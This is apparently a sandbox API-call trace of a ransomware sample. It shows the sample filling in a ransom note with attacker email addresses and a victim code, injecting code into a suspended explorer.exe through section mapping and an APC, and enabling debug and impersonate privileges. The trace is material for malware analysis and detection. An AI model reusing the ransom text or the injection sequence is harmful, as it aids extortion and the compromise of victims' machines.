	[0059.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d58ba0) returned 1
	[0059.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7b780) returned 1
	[0059.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0059.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76fe8) returned 1
	[0059.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f70) returned 1
	[0059.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d770d8) returned 1
	[0059.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79000) returned 1
	[0059.915] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .{id}\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{id}") returned="{id}\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}"
	[0059.915] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a5) returned 0x2d7c370
	[0059.915] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .c3f7e\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{id}") returned 0x0
	[0059.915] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .c3f7e\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{ID}") returned 0x0
	[0059.915] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a5) returned 0x2d7c920
	[0059.915] strcpy (in: _Dest=0x2d7c920, _Source="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .c3f7e\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}" | out: _Dest="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .c3f7e\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}") returned="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .c3f7e\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}"
	[0059.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c370) returned 1
	[0059.915] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .c3f7e\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{mail1}") returned="{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}"
	[0059.915] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5b2) returned 0x2d7ced0
	[0059.915] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .c3f7e\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.kkeessnnkkaa@cock.li\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{mail1}") returned 0x0
	[0059.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c920) returned 1
	[0059.915] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .c3f7e\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.kkeessnnkkaa@cock.li\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{mail2}") returned="{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}"
	[0059.915] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5bf) returned 0x2d7c370
	[0059.915] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .c3f7e\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.kkeessnnkkaa@cock.li\r\n2.hhaaxxhhaaxx@tuta.io\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{mail2}") returned 0x0
	[0059.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7ced0) returned 1
	[0059.917] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .c3f7e\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.kkeessnnkkaa@cock.li\r\n2.hhaaxxhhaaxx@tuta.io\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{code}") returned="{code}"
	[0059.917] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6f7) returned 0x2d7c938
	[0059.918] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .c3f7e\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.kkeessnnkkaa@cock.li\r\n2.hhaaxxhhaaxx@tuta.io\r\n\r\nDon't forget to include your code in the email:\r\n{code_345f15fb_c3f7e:\r\njMmpXrPm7Kpgv3tTX6ce0EcbLgxPisuuXKwtY7n28e2vtWQxTs\r\nvrWPmX/Tp3CT0omJearnWJjZOkrXJ5KxR5hHlUlgTonIJI+xVf\r\nNINq8HysqBj7uZxIAzn2kjCIekhK3m9EhDhO7/fH8Rwb5hA5pm\r\nZRXGtvz1qWjShy9yEzXAbeBTtyVeKbvYq2t0ojt+hu0CHE4TqN\r\nX9saMIeSmH0qV+jLhrB3BHk1aXEDRgcceZSwX8K+VociDlbVMh\r\naZ2wnj6btmWmAvr+8cxFpfhh72gUhGY9g=}", _SubStr="{code}") returned 0x0
	[0059.918] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c370) returned 1
	[0059.918] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c6e8) returned 1
	[0059.918] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79c40) returned 1
	[0059.918] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77db0) returned 1
	[0059.918] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7a798) returned 1
	[0059.918] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78260) returned 1
	[0059.918] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7a6a8) returned 1
	[0059.918] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d75f00) returned 1
	[0059.918] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7adf0) returned 1
	[0059.918] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20a) returned 0x2d7b950
	[0059.918] GetSystemDirectoryW (in: lpBuffer=0x2d7b950, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0059.918] wcscat (in: _Dest=0x2d7b950, _Source="\\" | out: _Dest="C:\\WINDOWS\\system32\\") returned="C:\\WINDOWS\\system32\\"
	[0059.918] wcscat (in: _Dest=0x2d7b950, _Source="explorer.exe" | out: _Dest="C:\\WINDOWS\\system32\\explorer.exe") returned="C:\\WINDOWS\\system32\\explorer.exe"
	[0059.918] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x28) returned 0x2d77f60
	[0059.918] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\explorer.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x272f9d8*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x272fa1c | out: lpCommandLine=0x0, lpProcessInformation=0x272fa1c*(hProcess=0x2e4, hThread=0x2dc, dwProcessId=0xd20, dwThreadId=0x67c)) returned 1
	[0059.946] NtCreateSection (in: SectionHandle=0x272f9b0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x272f990, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x272f9b0*=0x2ec) returned 0x0
	[0059.946] NtMapViewOfSection (in: SectionHandle=0x2ec, ProcessHandle=0xffffffff, BaseAddress=0x272f9b4*=0x0, ZeroBits=0x0, CommitSize=0x1b000, SectionOffset=0x0, ViewSize=0x272f9a4*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x272f9b4*=0x4460000, SectionOffset=0x0, ViewSize=0x272f9a4*=0x1b000) returned 0x0
	[0059.948] NtMapViewOfSection (in: SectionHandle=0x2ec, ProcessHandle=0x2e4, BaseAddress=0x272f9ac*=0x0, ZeroBits=0x0, CommitSize=0x1b000, SectionOffset=0x0, ViewSize=0x272f9a4*=0x1b000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x272f9ac*=0x140000, SectionOffset=0x0, ViewSize=0x272f9a4*=0x1b000) returned 0x0
	[0059.949] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x4460000) returned 0x0
	[0059.951] NtClose (Handle=0x2ec) returned 0x0
	[0059.951] NtQueueApcThread (ThreadHandle=0x2dc, ApcRoutine=0x153940, NormalContext=0x0, SystemArgument1=0x0, SystemArgument2=0x0) returned 0x0
	[0059.951] NtResumeThread (in: ThreadHandle=0x2dc, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0
	[0059.951] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7b950) returned 1
	[0059.951] Sleep (dwMilliseconds=0x7530) 
	[0070.090] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x272f9b0 | out: lpLuid=0x272f9b0*(LowPart=0x14, HighPart=0)) returned 1
	[0070.099] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x272f98c | out: TokenHandle=0x272f98c*=0x30c) returned 0x0
	[0070.099] AdjustTokenPrivileges (in: TokenHandle=0x30c, DisableAllPrivileges=0, NewState=0x272f9a0*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0070.099] GetLastError () returned 0x0
	[0070.099] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeImpersonatePrivilege", lpLuid=0x272f9b0 | out: lpLuid=0x272f9b0*(LowPart=0x1d, HighPart=0)) returned 1
	[0070.100] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x272f98c | out: TokenHandle=0x272f98c*=0x310) returned 0x0
	[0070.100] AdjustTokenPrivileges (in: TokenHandle=0x310, DisableAllPrivileges=0, NewState=0x272f9a0*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0070.100] GetLastError () returned 0x0
	[0070.102] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1770) returned 0x2d81090
	[0070.102] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10) returned 0x2d7a7f8
	[0070.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x27751e0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x314
	[0070.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x27750f0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x318
	[0070.106] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1024) returned 0x2d82808
	[0070.106] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d82808, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2d82808, ResultLength=0x0) returned 0xc0000004
	[0070.260] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d82808, Size=0x2048) returned 0x2d845d8
	[0070.260] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.263] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x306c) returned 0x2d845d8
	[0070.263] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.265] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x4090) returned 0x2d845d8
	[0070.265] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.267] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x50b4) returned 0x2d845d8
	[0070.267] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.270] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x60d8) returned 0x2d845d8
	[0070.270] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.272] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x70fc) returned 0x2d845d8
	[0070.272] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.274] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x8120) returned 0x2d845d8
	[0070.274] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.276] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x9144) returned 0x2d845d8
	[0070.276] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.278] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0xa168) returned 0x2d845d8
	[0070.278] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.280] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0xb18c) returned 0x2d845d8
	[0070.280] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.282] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0xc1b0) returned 0x2d845d8
	[0070.283] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.285] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0xd1d4) returned 0x2d845d8
	[0070.285] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.287] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0xe1f8) returned 0x2d845d8
	[0070.287] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.289] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0xf21c) returned 0x2d845d8
	[0070.289] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.291] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x10240) returned 0x2d845d8
	[0070.291] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.294] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x11264) returned 0x2d845d8
	[0070.294] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.296] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x12288) returned 0x2d845d8
